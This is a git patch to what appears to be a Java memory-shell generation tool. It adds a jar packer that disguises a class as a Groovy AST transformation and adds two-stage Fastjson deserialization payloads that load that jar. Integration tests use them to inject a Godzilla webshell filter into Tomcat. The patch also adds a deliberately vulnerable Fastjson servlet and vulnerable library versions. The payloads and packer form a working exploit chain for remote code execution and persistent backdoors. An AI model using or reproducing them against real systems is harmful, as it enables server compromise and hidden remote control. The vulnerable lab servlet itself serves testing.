From d4e7a25255cf5829647c3a49dab6e72e56dc33fb Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 6 Dec 2025 15:21:57 +0800 Subject: [PATCH] feat: support GroovyTransformJar packer --- .../javaweb/integration/ShellAssertion.java | 30 +++++- .../Tomcat8DeserializeContainerTest.java | 1 + .../javaweb/asm/ClassAnnotationUtils.java | 99 +++++++++++++++++++ .../javaweb/asm/ClassAnnotationUtilsTest.java | 28 ++++++ .../com/reajason/javaweb/packer/Packers.java | 1 + .../packer/jar/GroovyTransformJarPacker.java | 40 ++++++++ vul/vul-webapp-deserialize/build.gradle.kts | 2 + .../src/main/java/FastjsonServlet.java | 24 +++++ .../src/test/java/FastjsonServletTest.java | 35 +++++++ .../memshell/results/jar-result.tsx | 26 +---- 10 files changed, 259 insertions(+), 27 deletions(-) create mode 100644 memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassAnnotationUtils.java create mode 100644 memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassAnnotationUtilsTest.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java create mode 100644 vul/vul-webapp-deserialize/src/main/java/FastjsonServlet.java create mode 100644 vul/vul-webapp-deserialize/src/test/java/FastjsonServletTest.java diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index cb5a9343..13dbca57 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -11,10 +11,7 @@ import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.packer.jar.AgentJarPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker; +import com.reajason.javaweb.packer.jar.*; import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; import com.reajason.javaweb.suo5.Suo5Manager; import lombok.SneakyThrows; @@ -129,6 +126,30 @@ public class ShellAssertion { " !!java.net.URL [\"file://" + jarPath + "\"]\n" + " ]]\n" + "]"; + } else if (packer.getInstance() instanceof GroovyTransformJarPacker) { + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); + Path tempJar = Files.createTempFile("temp", "jar"); + Files.write(tempJar, bytes); + String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; + appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); + FileUtils.deleteQuietly(tempJar.toFile()); + VulTool.postIsOk(url + "/fastjson", """ + { + "@type":"java.lang.Exception", + "@type":"org.codehaus.groovy.control.CompilationFailedException", + "unit":{ + } + }"""); + content = "{\n" + + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + + " \"config\":{\n" + + " \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" + + " \"classpathList\":[\"file://" + jarPath + "\"]\n" + + " },\n" + + " \"gcl\":null,\n" + + " \"destDir\": \"/tmp\"\n" + + "}"; } else if (packer.getInstance() instanceof XalanAbstractTransletPacker) { String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig()); content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]"; @@ -396,6 +417,7 @@ public class ShellAssertion { case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content); case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); + case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case Base64 -> VulTool.postIsOk(url + "/b64", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java index 319ecc0d..e4230c21 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java @@ -54,6 +54,7 @@ public class Tomcat8DeserializeContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.GroovyTransformJar), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker) ); } diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassAnnotationUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassAnnotationUtils.java new file mode 100644 index 00000000..242b7737 --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassAnnotationUtils.java @@ -0,0 +1,99 @@ +package com.reajason.javaweb.asm; + +import org.objectweb.asm.*; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class ClassAnnotationUtils { + + public static byte[] setAnnotation(byte[] bytes, String annotationClassName) { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, 0); + ClassVisitor cv = new AddAnnotationClassVisitor(cw, annotationClassName); + cr.accept(cv, 0); + return cw.toByteArray(); + } + + static class AddAnnotationClassVisitor extends ClassVisitor { + private final String annotationClassName; + + public AddAnnotationClassVisitor(ClassVisitor cv, String annotationClassName) { + super(Opcodes.ASM9, cv); + this.annotationClassName = annotationClassName.replace('.', '/'); + } + + @Override + public void visit( + int version, int access, String name, + String signature, String superName, String[] interfaces) { + + super.visit(version, access, name, signature, superName, interfaces); + super.visitAnnotation( + "L" + annotationClassName + ";", + true + ).visitEnd(); + } + } + + public static List getAnnotations(byte[] classBytes) { + ClassReader cr = new ClassReader(classBytes); + AnnotationCollectingVisitor cv = new AnnotationCollectingVisitor(); + cr.accept(cv, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES); + return cv.getAnnotations(); + } + + public static class AnnotationInfo { + public final String desc; + public final Map values = new HashMap<>(); + + public AnnotationInfo(String desc) { + this.desc = desc; + } + } + + public static class AnnotationCollectingVisitor extends ClassVisitor { + + private final List annotations = new ArrayList<>(); + + public AnnotationCollectingVisitor() { + super(Opcodes.ASM9); + } + + public List getAnnotations() { + return annotations; + } + + @Override + public AnnotationVisitor visitAnnotation(String descriptor, boolean visible) { + AnnotationInfo info = new AnnotationInfo(descriptor); + annotations.add(info); + + return new AnnotationVisitor(Opcodes.ASM9) { + @Override + public void visit(String name, Object value) { + info.values.put(name, value); + } + + @Override + public AnnotationVisitor visitArray(String name) { + List array = new ArrayList<>(); + info.values.put(name, array); + + return new AnnotationVisitor(Opcodes.ASM9) { + @Override + public void visit(String name, Object value) { + array.add(value); + } + }; + } + }; + } + } +} diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassAnnotationUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassAnnotationUtilsTest.java new file mode 100644 index 00000000..5cf59016 --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassAnnotationUtilsTest.java @@ -0,0 +1,28 @@ +package com.reajason.javaweb.asm; + +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import org.junit.jupiter.api.Test; + +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +class ClassAnnotationUtilsTest { + @Test + @SneakyThrows + void test() { + String interfaceName = "javax.script.ScriptEngineFactory"; + byte[] bytes = new ByteBuddy().redefine(ClassInterfaceUtilsTest.EmptyInterface.class).make().getBytes(); + List rawAnnotations = ClassAnnotationUtils.getAnnotations(bytes); + byte[] newBytes = ClassAnnotationUtils.setAnnotation(bytes, interfaceName); + List annotations = ClassAnnotationUtils.getAnnotations(newBytes); + assertEquals(0, rawAnnotations.size()); + assertEquals(1, annotations.size()); + assertEquals("Ljavax/script/ScriptEngineFactory;", annotations.get(0).desc); + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index ddc67730..c17a0818 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -177,6 +177,7 @@ public enum Packers { Jar(new DefaultJarPacker()), ScriptEngineJar(new ScriptEngineJarPacker()), + GroovyTransformJar(new GroovyTransformJarPacker()), XxlJob(new XxlJobPacker()), ; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java new file mode 100644 index 00000000..a43cb139 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/GroovyTransformJarPacker.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.packer.jar; + +import com.reajason.javaweb.asm.ClassAnnotationUtils; +import com.reajason.javaweb.asm.ClassInterfaceUtils; +import com.reajason.javaweb.packer.JarPacker; +import com.reajason.javaweb.packer.JarPackerConfig; +import lombok.SneakyThrows; + +import java.io.ByteArrayOutputStream; +import java.nio.charset.StandardCharsets; +import java.util.jar.JarEntry; +import java.util.jar.JarOutputStream; +import java.util.jar.Manifest; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class GroovyTransformJarPacker implements JarPacker { + @Override + @SneakyThrows + public byte[] packBytes(JarPackerConfig config) { + String mainClassName = config.getMainClassName(); + byte[] mainClassBytes = config.getClassBytes().get(mainClassName); + mainClassBytes = ClassInterfaceUtils.addInterface(mainClassBytes, "org.codehaus.groovy.transform.ASTTransformation"); + mainClassBytes = ClassAnnotationUtils.setAnnotation(mainClassBytes, "org.codehaus.groovy.transform.GroovyASTTransformation"); + + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) { + targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class")); + targetJar.write(mainClassBytes); + targetJar.closeEntry(); + + targetJar.putNextEntry(new JarEntry("META-INF/services/org.codehaus.groovy.transform.ASTTransformation")); + targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8)); + targetJar.closeEntry(); + } + return outputStream.toByteArray(); + } +} diff --git a/vul/vul-webapp-deserialize/build.gradle.kts b/vul/vul-webapp-deserialize/build.gradle.kts index 5e7b5ddf..2addf111 100644 --- a/vul/vul-webapp-deserialize/build.gradle.kts +++ b/vul/vul-webapp-deserialize/build.gradle.kts @@ -31,6 +31,8 @@ dependencies { implementation("org.yaml:snakeyaml:1.27") implementation("com.alibaba:fastjson:1.2.47") implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0") + implementation("org.codehaus.groovy:groovy:3.0.6") + implementation("com.alibaba:fastjson:1.2.80") implementation("xalan:xalan:2.7.2") providedCompile("javax.servlet:javax.servlet-api:3.1.0") testImplementation(libs.junit.jupiter) diff --git a/vul/vul-webapp-deserialize/src/main/java/FastjsonServlet.java b/vul/vul-webapp-deserialize/src/main/java/FastjsonServlet.java new file mode 100644 index 00000000..d641fadd --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/FastjsonServlet.java @@ -0,0 +1,24 @@ +import com.alibaba.fastjson.JSONObject; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/12/06 + */ +@WebServlet("/fastjson") +public class FastjsonServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + try { + JSONObject.parse(data); + } catch (Exception ignored) { + } + } +} diff --git a/vul/vul-webapp-deserialize/src/test/java/FastjsonServletTest.java b/vul/vul-webapp-deserialize/src/test/java/FastjsonServletTest.java new file mode 100644 index 00000000..bd4c7cd2 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/FastjsonServletTest.java @@ -0,0 +1,35 @@ +import com.alibaba.fastjson.JSONObject; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +class FastjsonServletTest { + @Test + void test() { + String json = "{\n" + + " \"@type\":\"java.lang.Exception\",\n" + + " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" + + " \"unit\":{\n" + + " }\n" + + "}"; + + try { + JSONObject.parse(json); + } catch (Exception e) { + //e.printStackTrace(); + } + String data = "{\n" + + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + + " \"config\":{\n" + + " \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" + + " \"classpathList\":[\"file:/Users/reajason/Downloads/TomcatGodzillaMemShell.jar\"]\n" + + " },\n" + + " \"gcl\":null,\n" + + " \"destDir\": \"/tmp\"\n" + + "}"; +// JSONObject.parse(data); + } +} \ No newline at end of file diff --git a/web/app/components/memshell/results/jar-result.tsx b/web/app/components/memshell/results/jar-result.tsx index b9bbc8d5..90da2a5f 100644 --- a/web/app/components/memshell/results/jar-result.tsx +++ b/web/app/components/memshell/results/jar-result.tsx @@ -30,7 +30,7 @@ export function JarResult({
  1. - {t("common:download")} shell.jar ( + {t("common:download")} {packMethod}Shell.jar ( {formatBytes(atob(packResult).length)})
  2. - {isPureJar ? ( - <> -
  3. {t("memshell:tips.download-jar")}
  4. -
  5. {t("memshell:tips.trigger-injector-class-loading")}
  6. - - ) : ( - <> -
  7. {t("memshell:tips.download-jar")}
  8. -
  9. {t("memshell:tips.load-jar-with-scriptenginemanager")}
  10. - SnakeYaml Payload} - /> - - )} +
  11. {t("memshell:tips.download-jar")}
  12. +
  13. {t("memshell:tips.trigger-injector-class-loading")}